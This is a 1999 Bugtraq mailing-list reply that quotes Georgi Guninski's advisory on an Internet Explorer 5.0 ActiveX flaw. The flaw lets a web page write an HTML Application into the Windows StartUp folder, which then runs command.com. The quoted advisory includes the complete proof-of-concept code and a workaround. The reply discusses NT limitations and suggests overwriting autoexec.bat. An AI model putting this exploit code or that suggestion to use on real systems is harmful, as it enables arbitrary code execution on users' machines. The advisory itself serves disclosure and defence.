This would probably work on NT machines if in the code the path referenced pointed at the startup directory of an existing NT profile. Unfortunately it's impossible to guess the username of the currently logged on user, and if you go with something "safe" (i.e. relatively likely to exist) like the AllUsers profile, you should get blocked from doing that if permissions are set right on NTFS (if the WINSYS drive is NTFS). I get a JavaScript error when I tried Georgi's code since the path "C:\Windows\Start Menu\Programs\Startup\" does not exist. Also this is weakened if in 95/98 the user does not use the same profile for all users logged on to the network. Although it does still write the file in a dangerous place, since it will be executed or whatever if the default user profile logs on. This only reaffirms my opinion that anyone who wishes to do something simple when setting up a machine the first time to greatly protect themselves, should simply change the name of their windows directory. Also, I don't know fully how peravsive this exploit is, but if it is capable of creating .bat filess, interresting things may be thought to happen if instead of the path written in the exploit, one were to instead overwrite c:\autoexec.bat. C:\ is a pretty safe path to guess. _____ ,----+ _________________________________ + _____ ____ / __________ eric stevens ___________ \ ____ ___ /--+ _____ eric.stevens@rp-rorer.com _____ \ ___ __ / ____ rpr graphics asp design team _____ \ __ _ `----+ x-eric-conspiracy: there is no conspiracy + _ -----Original Message----- From: Georgi Guninski [mailto:joroat_private] Sent: Saturday, August 21, 1999 12:17 PM To: BUGTRAQat_private Subject: IE 5.0 allows executing programs Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof. Description: Internet Explorer 5.0 under Windows 95/98 (do not know about NT) allows executing arbitrary programs on the local machine by creating and overwriting local files and putting content in them. Details: The problem is the ActiveX Control "Object for constructing type libraries for scriptlets". It allows creating and overwriting local files, and more putting content in them. There is some unneeded information in the file, but part of the content may be chosen. So, an HTML Application file may be created, feeded with an exploit information and written to the StartUp folder. The next time the user reboots (which may be forced), the code in the HTML Application file will be executed. This vulnerability can be exploited via email. Demonstration is available at: http://www.nat.bg/~joro/scrtlb.html Workaround: Disable Active Scripting or Disable Run ActiveX Controls and plug-ins The code is: <object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" > </object> <SCRIPT> scr.Reset(); scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta"; scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert( 'Written by Georgi Guninski http://www.nat.bg/~joro');wsh.Run('c:\\command.com');</"+"SCRIPT>"; scr.write(); </SCRIPT> </object> Regards, Georgi Guninski http://www.nat.bg/~joro
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